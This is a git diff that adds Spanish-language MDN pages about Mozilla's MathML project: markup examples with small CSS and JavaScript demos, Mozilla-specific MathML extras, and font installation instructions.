+&lt;mrow&gt;
+&lt;mn&gt;6&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;maction id="a43" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;5&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;5&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;5&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;10&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;10&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;5&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;5&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;/mtable&gt;
+&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;/mtable&gt;
+&lt;/math&gt;
+&lt;/div&gt;
+
+</pre>
+ <h3 id="CSS_Content">CSS Content</h3>
+ <pre class="brush: css">.control {
+text-decoration: none;
+font-weight: bold;
+font-size: 200%;
+}
+input {
+color: red;
+}
+[class="inputmath"] {
+border: 1px dotted;
+}
+</pre>
+ <h3 id="JavaScript_Content">JavaScript Content</h3>
+ <pre class="brush: js">function setSelection(id,value) {
+document.getElementById(id).setAttribute("selection",value);
+}
+function expand()
+{
+  setSelection("a11","2");  setSelection("a12","2");  setSelection("a13","2");
+  setSelection("a21","2");  setSelection("a22","2");  setSelection("a23","2");
+  setSelection("a31","2");  setSelection("a32","2");  setSelection("a33","2");
+  setSelection("a41","2");  setSelection("a42","2");  setSelection("a43","2");
+}
+function unexpand()
+{
+  setSelection("a11","1");  setSelection("a12","1");  setSelection("a13","1");
+  setSelection("a21","1");  setSelection("a22","1");  setSelection("a23","1");
+  setSelection("a31","1");  setSelection("a32","1");  setSelection("a33","1");
+  setSelection("a41","1");  setSelection("a42","1");  setSelection("a43","1");
+}
+
+function incrementInput(inputID, increment)
+{
+  var inputElement = document.getElementById(inputID);
+  var size = parseInt(inputElement.size) + increment;
+  if (size &lt;= 0)
+    size = 1
+  inputElement.size = size;
+}</pre>
+</div>
+<p>{{ EmbedLiveSample('MathML_and_Javascript', '100%', '400px') }}</p>
+<p>Y podría haber más cosas...</p>
+<div style="display: none;">
+ <h2 id="MathML_Button" name="MathML_Button">MathML Button</h2>
+ <h3 id="HTML_Content_2">HTML Content</h3>
+ <pre class="brush: html">&lt;div style="text-align: center"&gt;
+  &lt;button style="white-space: normal;"&gt;
+     &lt;span style="color: brown;"&gt;
+
+       For example, &lt;b&gt;click&lt;/b&gt; this MathML continued fraction&lt;br/&gt;
+       inside this HTML button&lt;br /&gt;
+     &lt;/span&gt;
+&lt;math&gt;
+&lt;mrow&gt;
+&lt;mfrac&gt;
+&lt;mi&gt;&amp;pi;&lt;/mi&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/mfrac&gt;
+&lt;mo&gt;=&lt;/mo&gt;
+&lt;mfrac numalign="left"&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;mn&gt;1&lt;/mn&gt;
+&lt;/mstyle&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mfrac numalign="left"&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;msup&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;
+&lt;/mstyle&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mfrac numalign="left"&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;msup&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;
+&lt;/mstyle&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mfrac numalign="left"&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;msup&gt;&lt;mn&gt;5&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;
+&lt;/mstyle&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mfrac numalign="left"&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;msup&gt;&lt;mn&gt;7&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;
+&lt;/mstyle&gt;
+&lt;mstyle scriptlevel="0"&gt;
+&lt;mn&gt;2&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mo mathvariant="bold"&gt;...&lt;/mo&gt;
+&lt;/mstyle&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;/mstyle&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;/mstyle&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;/mstyle&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;/mstyle&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;
+  &lt;/button&gt;
+&lt;/div&gt;<span style="display: none;">
+</span></pre>
+</div>
+<p>{{ EmbedLiveSample('MathML_Button', '100%', '300px') }}</p>
+<p>Para más información sobre MathML en Mozilla, mira la <a href="http://www.mozilla.org/projects/mathml/">página del Proyecto MathML</a>. Hay enlaces a más ejemplos, <a href="http://www.mozilla.org/projects/mathml/screenshots/">capturas de pantalla</a> e instrucciones sobre cómo <a href="http://www.mozilla.org/projects/mathml/fonts/">descargar fuentes tipográficas</a> para varias plataformas. Dichas fuentes son requeridas para visualizar otros ejemplos además de las construcciones básicas mostradas aquí.</p>
+<div style="display: none;">
+ <h2 id="MathML_Background_Image" name="MathML_Background_Image">MathML Background Image</h2>
+ <h3 id="HTML_Content_3">HTML Content</h3>
+ <pre class="brush: html">&lt;div class="background"&gt;&lt;/div&gt;
+&lt;math display="block"&gt;
+&lt;mrow&gt;
+&lt;msub&gt;
+&lt;mi&gt;Z&lt;/mi&gt;
+&lt;mi&gt;&amp;alpha;&lt;/mi&gt;
+&lt;/msub&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mi&gt;f&lt;/mi&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;=&lt;/mo&gt;
+
+&lt;mfrac&gt;
+&lt;mn&gt;1&lt;/mn&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mi&gt;i&lt;/mi&gt;
+&lt;mo&gt;&amp;ThinSpace;&lt;/mo&gt;
+&lt;mi&gt;cos&lt;/mi&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mfrac&gt;
+&lt;mrow&gt;
+&lt;mi&gt;&amp;alpha;&lt;/mi&gt;
+&lt;mi&gt;&amp;pi;&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/mfrac&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;/mfrac&gt;
+
+&lt;mrow&gt;
+&lt;msub&gt;
+&lt;mo&gt;&amp;int;&lt;/mo&gt;
+&lt;mi&gt;C&lt;/mi&gt;
+&lt;/msub&gt;
+&lt;mfrac&gt;
+&lt;mrow&gt;
+&lt;mi&gt;f&lt;/mi&gt;
+&lt;mo stretchy='false'&gt;(&lt;/mo&gt;
+&lt;mi&gt;i&lt;/mi&gt;
+&lt;mi&gt;z&lt;/mi&gt;
+&lt;mo stretchy='false'&gt;)&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mo&gt;-&lt;/mo&gt;
+&lt;mi&gt;z&lt;/mi&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mi&gt;&amp;alpha;&lt;/mi&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;e&lt;/mi&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mi&gt;&amp;pi;&lt;/mi&gt;
+&lt;mi&gt;z&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;/msup&gt;
+&lt;mo&gt;-&lt;/mo&gt;
+&lt;mn&gt;1&lt;/mn&gt;
+&lt;/mrow&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;mi&gt;d&lt;/mi&gt;
+&lt;mi&gt;z&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;</pre>
+ <h3 id="CSS_Content_2">CSS Content</h3>
+ <pre class="brush: css">[class="background"] {
+  background-image: url(http://www.mozilla.org/images/mozilla-banner.gif);
+  opacity: 0.2;
+  position: absolute;
+  left: 0;
+  width: 100%;
+  height: 58px;
+}
+</pre>
+</div>
+<p>{{ EmbedLiveSample('MathML_Background_Image', '100%', '300px') }}</p>
diff --git a/files/es/mozilla/mathml_project/extras/index.html b/files/es/mozilla/mathml_project/extras/index.html
new file mode 100644
index 0000000000..39f1f13d7f
--- /dev/null
+++ b/files/es/mozilla/mathml_project/extras/index.html
@@ -0,0 +1,307 @@
+---
+title: Extras
+slug: Mozilla/MathML_Project/Extras
+tags:
+  - MathML
+translation_of: Mozilla/MathML_Project/Extras
+---
+<h2 id="MathML_Extras">MathML Extras</h2>
+<p>Esta es una demostración técnica de algunos extras de Mozilla que aun no han sido definidos en la especificación MathML, pero que no se impide su uso por parte de otra especificación. No son portables , solo fueron creados para mostrar algunas características interesantes de usar código nativo desde el entorno del navegador. Se espera que otros renderizadores ignoren los atributos que no pueden comprender mientras estos extras permanezcan indefinidos.</p>
+<h2 id="MathML_Tooltip" name="MathML_Tooltip">El atributo
+ <i>
+  title</i>
+ como una descripción emergente (<a href="http://www.w3.org/TR/html4/struct/global.html#adef-title">desde XHTML</a>)</h2>
+<div style="display: none;">
+ <h3 id="HTML_Content">HTML Content</h3>
+ <pre class="brush: html">&lt;p&gt;Mouse over either log to see a tooltip showing the title
+
+&lt;math display="block"&gt;
+&lt;mrow&gt;
+&lt;mrow&gt;
+&lt;msub title="Base-a log"&gt;
+&lt;mi&gt;log&lt;/mi&gt;
+&lt;mi&gt;a&lt;/mi&gt;
+&lt;/msub&gt;
+&lt;mo&gt;&amp;ApplyFunction;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;=&lt;/mo&gt;
+&lt;mfrac&gt;
+&lt;mrow&gt;
+&lt;mi title="Natural log"&gt;ln&lt;/mi&gt;
+&lt;mo&gt;&amp;ApplyFunction;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mrow&gt;
+&lt;mi title="Natural log"&gt;ln&lt;/mi&gt;
+&lt;mo&gt;&amp;ApplyFunction;&lt;/mo&gt;
+&lt;mi&gt;a&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;
+
+Rather than repeating the instructions,
+some CSS might be used to provide a visual cue. For example
+with the style rule: &lt;code style="white-space: nowrap;"&gt;*[title] { color: blue; }&lt;/code&gt;
+
+&lt;math class="cue" display="block"&gt;
+&lt;mrow&gt;
+&lt;mrow&gt;
+&lt;msub title="Base-a log"&gt;
+&lt;mi&gt;log&lt;/mi&gt;
+&lt;mi&gt;a&lt;/mi&gt;
+&lt;/msub&gt;
+&lt;mo&gt;&amp;ApplyFunction;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;=&lt;/mo&gt;
+&lt;mfrac&gt;
+&lt;mrow&gt;
+&lt;mi title="Natural log"&gt;ln&lt;/mi&gt;
+&lt;mo&gt;&amp;ApplyFunction;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mrow&gt;
+&lt;mi title="Natural log"&gt;ln&lt;/mi&gt;
+&lt;mo&gt;&amp;ApplyFunction;&lt;/mo&gt;
+&lt;mi&gt;a&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;
+&lt;/p&gt;
+
+</pre>
+ <h3 id="CSS_Content">CSS Content</h3>
+ <pre class="brush: css">math.cue *[title] { color: blue; }</pre>
+</div>
+<p>{{ EmbedLiveSample('MathML_Tooltip', '100%', '250px') }}</p>
+<h2 id="Mixing_with_other_markups" name="Mixing_with_other_markups">Mezclando con otras marcas</h2>
+<div style="display: none;">
+ <h3 id="HTML_Content_2">HTML Content</h3>
+ <pre class="brush: html">&lt;math display="block"&gt;
+&lt;mrow&gt;
+&lt;mi&gt;A&lt;/mi&gt;
+&lt;mo&gt;=&lt;/mo&gt;
+&lt;mo&gt;[&lt;/mo&gt;
+&lt;mtable&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;mtext&gt;
+&lt;img width="16" height="16"
+src="http://www.mozilla.org/images/mozilla-16.png"
+alt="mozilla-16" /&gt;
+&lt;/mtext&gt;
+&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;
+&lt;mtext&gt;&lt;input value="type" size="4"/&gt;&lt;/mtext&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;/mtable&gt;
+&lt;mo&gt;]&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;
+
+&lt;math display="block"&gt;
+&lt;msqrt&gt;
+&lt;mpadded width="30px" height="15px" depth="15px" voffset="-15px"&gt;
+&lt;mtext&gt;
+&lt;svg width="30px" height="30px"&gt;
+&lt;defs&gt;
+&lt;radialGradient id="radGrad1" cx="50%" cy="50%" r="50%"
+                            fx="50%" fy="50%"&gt;
+&lt;stop offset="0%"
+                    style="stop-color:rgb(255,255,255); stop-opacity:1;"/&gt;
+&lt;stop offset="100%"
+                    style="stop-color:rgb(255,0,0); stop-opacity:.8;"/&gt;
+&lt;/radialGradient&gt;
+&lt;/defs&gt;
+&lt;g transform="translate(15,15)"&gt;
+&lt;g&gt;
+&lt;animateTransform attributeName="transform"
+                                attributeType="XML" type="rotate"
+                                from="360" to="0"
+                                dur="15s" repeatCount="indefinite"/&gt;
+&lt;g transform="translate(-15, -15)"&gt;
+&lt;path fill="url(#radGrad1)"
+                      d="M 15 0 L 20 10 L 30 15 L 20 20 L 15 30
+                         L 10 20 L 0 15 L 10 10"/&gt;
+&lt;/g&gt;
+&lt;/g&gt;
+&lt;/g&gt;
+&lt;/svg&gt;
+&lt;/mtext&gt;
+&lt;/mpadded&gt;
+&lt;/msqrt&gt;
+&lt;mo&gt;=&lt;/mo&gt;
+&lt;msubsup&gt;
+&lt;mo&gt;∫&lt;/mo&gt;
+&lt;mn&gt;0&lt;/mn&gt;
+&lt;mfrac&gt;
+&lt;mi&gt;π&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/mfrac&gt;
+&lt;/msubsup&gt;
+&lt;msup&gt;
+&lt;mi&gt;θ&lt;/mi&gt;
+&lt;mtext&gt;
+&lt;svg width="15px" height="15px"&gt;
+&lt;defs&gt;
+&lt;radialGradient id="radGrad2" cx="50%" cy="50%" r="50%"
+                          fx="50%" fy="50%"&gt;
+&lt;stop offset="0%"
+                  style="stop-color:rgb(255,255,255); stop-opacity:1;"/&gt;
+&lt;stop offset="100%"
+                  style="stop-color:rgb(0,0,255); stop-opacity:.9;"/&gt;
+&lt;/radialGradient&gt;
+&lt;/defs&gt;
+&lt;g&gt;
+&lt;animateMotion path="M0,0 L3,0 L2,5 L5,5 L0,4 L5,2 z"
+                         begin="0s" dur="0.5s" repeatCount="indefinite"/&gt;
+&lt;circle fill="url(#radGrad2)" r="5px" cx="5px" cy="5px"/&gt;
+&lt;/g&gt;
+&lt;/svg&gt;
+&lt;/mtext&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;ⅆ&lt;/mo&gt;
+&lt;mi&gt;θ&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;
+
+&lt;div style="width: 300px; margin-left: auto; margin-right: auto;"&gt;
+&lt;svg width="300px" height="250px"&gt;
+&lt;defs&gt;
+&lt;linearGradient id="grad1" x1="0%" y1="0%" x2="100%" y2="0%"&gt;
+&lt;stop offset="0%" style="stop-color:rgb(0,0,255);stop-opacity:1"/&gt;
+&lt;stop offset="100%" style="stop-color:rgb(0,255,0);stop-opacity:1"/&gt;
+&lt;/linearGradient&gt;
+
+&lt;linearGradient id="grad2" x1="0%" y1="0%" x2="0%" y2="100%"&gt;
+&lt;stop offset="0%" style="stop-color:rgb(255,0,0);stop-opacity:1"/&gt;
+&lt;stop offset="100%" style="stop-color:rgb(255,255,0);stop-opacity:1"/&gt;
+&lt;/linearGradient&gt;
+
+&lt;radialGradient id="grad3" cx="50%" cy="50%" r="50%" fx="50%" fy="50%"&gt;
+&lt;stop offset="0%" style="stop-color:rgb(0,255,255);stop-opacity:1"/&gt;
+&lt;stop offset="100%" style="stop-color:rgb(255,255,255);stop-opacity:.8"/&gt;
+&lt;/radialGradient&gt;
+&lt;/defs&gt;
+
+&lt;rect width="300" height="250" fill="url(#grad1)"/&gt;
+
+&lt;g transform="translate(150,125)"&gt;
+&lt;g&gt;
+&lt;animateTransform attributeName="transform"
+                          attributeType="XML" type="rotate" from="0" to="360"
+                          dur="6s" repeatCount="indefinite"/&gt;
+
+&lt;g transform="translate(-50,-35)"&gt;
+&lt;rect width="100" height="70" fill="url(#grad2)"/&gt;
+&lt;switch&gt;
+&lt;foreignObject width="100" height="70"
+                           requiredExtensions="http://www.w3.org/1998/Math/MathML"&gt;
+&lt;math display="block"&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mtable&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;&lt;mi&gt;cos&lt;/mi&gt;&lt;mi&gt;θ&lt;/mi&gt;&lt;/mtd&gt;
+&lt;mtd&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;sin&lt;/mi&gt;&lt;mi&gt;θ&lt;/mi&gt;&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;&lt;mi&gt;sin&lt;/mi&gt;&lt;mi&gt;θ&lt;/mi&gt;&lt;/mtd&gt;
+&lt;mtd&gt;&lt;mi&gt;cos&lt;/mi&gt;&lt;mi&gt;θ&lt;/mi&gt;&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;/mtable&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;
+&lt;/foreignObject&gt;
+&lt;text&gt;rotation matrix&lt;/text&gt;
+&lt;/switch&gt;
+&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;
+&lt;g&gt;
+&lt;animateMotion path="M 32,69 C 64,121 100,27 152,42 203,56 239,257 275,161 295,109 144,221 88,214 -2,202 11,35 32,69 z"
+                     begin="0s" dur="20s" repeatCount="indefinite"/&gt;
+&lt;animateTransform attributeName="transform"
+                        attributeType="XML" type="scale"
+            values="1;2;.5;1" keyTimes="0;.25;.75;1" dur="20s"
+            repeatCount="indefinite"/&gt;
+&lt;circle fill="url(#grad3)" r="30"/&gt;
+&lt;g transform="translate(-30,-30)"&gt;
+&lt;switch&gt;
+&lt;foreignObject width="60" height="60"
+requiredExtensions="http://www.w3.org/1998/Math/MathML"&gt;
+&lt;math display="block"&gt;
+&lt;mrow&gt;
+&lt;munderover&gt;
+&lt;mo&gt;∑&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;n&lt;/mi&gt;
+&lt;mo&gt;=&lt;/mo&gt;
+&lt;mn&gt;0&lt;/mn&gt;
+&lt;/mrow&gt;
+&lt;mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;∞&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;/munderover&gt;
+&lt;mfrac&gt;
+&lt;msup&gt;
+&lt;mi&gt;α&lt;/mi&gt;
+&lt;mi&gt;n&lt;/mi&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;mi&gt;n&lt;/mi&gt;
+&lt;mo&gt;!&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;/mfrac&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;
+&lt;/foreignObject&gt;
+&lt;text&gt;exp(α)&lt;/text&gt;
+&lt;/switch&gt;
+&lt;/g&gt;
+&lt;/g&gt;
+&lt;/svg&gt;
+&lt;/div&gt;
+
+</pre>
+</div>
+<p>{{ EmbedLiveSample('Mixing_with_other_markups', '100%', '500px') }}</p>
+<p> </p>
+<h2 id="Inline_JavaScript" name="Inline_JavaScript">JavaScript Incorporado</h2>
+<div style="display: none;">
+ <h3 id="HTML_Content_3">HTML Content</h3>
+ <pre class="brush: html">&lt;math display="block"&gt;
+&lt;mfrac&gt;
+&lt;mtext id="num"&gt;Mouse&lt;/mtext&gt;
+&lt;mtext id="denum"&gt;Over&lt;/mtext&gt;
+&lt;/mfrac&gt;
+&lt;/math&gt;</pre>
+ <h3 id="JavaScript_Content">JavaScript Content</h3>
+ <pre class="brush: js">function whoIsThereAlert(evt)
+{
+  alert("Who is there?");
+}
+function attachListener(id)
+{
+  document.getElementById(id).addEventListener("mouseover", whoIsThereAlert);
+}
+function init()
+{
+  attachListener("num");
+  attachListener("denum");
+}
+
+window.addEventListener("load", init);
+</pre>
+</div>
+<p>{{ EmbedLiveSample('Inline_JavaScript', '100%', '200px') }}</p>
+<p> </p>
diff --git a/files/es/mozilla/mathml_project/fonts/index.html b/files/es/mozilla/mathml_project/fonts/index.html
new file mode 100644
index 0000000000..c1fb8a094e
--- /dev/null
+++ b/files/es/mozilla/mathml_project/fonts/index.html
@@ -0,0 +1,60 @@
+---
+title: Fuentes para el motor Mozilla MathML
+slug: Mozilla/MathML_Project/Fonts
+translation_of: Mozilla/MathML_Project/Fonts
+---
+<div class="note">Nota: Estas instrucciones son para Gecko 2.0 (Firefox 4) y posteriores. Para versiones anteriores ver<a href="/en/Mozilla_MathML_Project/FontsMozilla1.8" title="en/Mozilla MathML Project/FontsMozilla1.8"> Fonts for Mozilla 1.8</a>, <a href="/en/Mozilla_MathML_Project/Fonts_for_Mozilla_1.9's_MathML_engine" title="en/Mozilla_MathML_Project/FontsMozilla1.9">Fonts for Mozilla 1.9</a> o <a href="https://developer.mozilla.org/en/Mozilla/MathML_Project/FontsMozilla2.0" title="en/Mozilla MathML Project/FontsMozilla1.8">Fonts for Mozilla 2.0</a></div>
+
+<h2 id="Instrucciones_rápidas">Instrucciones rápidas</h2>
+
+<ul>
+ <li>Prueba esta <a href="https://developer.mozilla.org/en-US/docs/Mozilla_MathML_Project/Fonts/Test" title="http://www.maths-informatique-jeux.com/font-testing.html">página de prueba</a> para determinar rápidamente si necesitas o no instalar fuentes adicionales. También es posible que quieras probar el <a class="external" href="https://developer.mozilla.org/en-US/docs/Mozilla_MathML_Project/MathML_Torture_Test" title="http://www.mozilla.org/projects/mathml/demo/texvsmml.html">Mozilla MathML </a> para probar tu instalación con casos reales.</li>
+ <li>En windows: usar este <a href="https://developer.mozilla.org/@api/deki/files/6388/=MathML-fonts.msi" title="https://developer.mozilla.org/@api/deki/files/6388/=MathML-fonts.msi">instalador de fuentes de MathML</a>.</li>
+ <li>En Mac OS X Lion (10.7) y superiores, las funetes STIX fonts ya están instaladas, así que no necesitas hacer nada. También hay una fuente experimental en {{ Bug("770005") }}.</li>
+ <li>En la mayoría de distribuciones Linux, puedes instalar fuentes STIX y Asana fonts desde tu gestor de paquetes. Las fuentes MathJax también están disponibles en Debian testing y distribuciones derivadas como Ubuntu o Mint.</li>
+ <li>En Android, Gecko 15.0 {{ geckoRelease("15.0") }} o superior:instala el  <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/" title="https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/">complemento MathML-fonts</a>.</li>
+ <li>En otros casos, instala las fuentes contenidas en este <a href="/@api/deki/files/6182/=MathML-fonts.zip" title="MathML-fonts.zip">archivo zip</a>.</li>
+ <li>Si aun así no es posible y estás usando Gecko 15.0 {{ geckoRelease("15.0") }} o superior, considera instalar el   <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/" title="https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/">complemento de fuentes MathML-fonts</a>.</li>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Las fórmulas matemáticas hacen uso de numerosos símbolos representados por caracteres Unicode específicos. Mozilla puede mostrar cualquiera de estos símbolos si están instaladas las fuentes Unicode adecuadas. Además, de acuerdo con las  <a class="external" href="http://www.w3.org/TR/REC-CSS2/fonts.html">recomendaciones de la W3C sobre funetes en CSS2 </a>, los autores pueden especificar una lista concreta de fuentes que prefieren (utilizando la propiedad <em>font-family</em> de CSS), con la seguridad de que el motor de fuentes de Mozilla's buscará una fuente alternativa cuando las especificadas no se encuentren en el sistema de un usario en particular. Si en último caso no se encontrase un fuente adecuada para un caracter en particular, Mozilla mostrará en su lugar una caja con la representación hexadecimal  del código Unicode que apunta al caracter.</p>
+
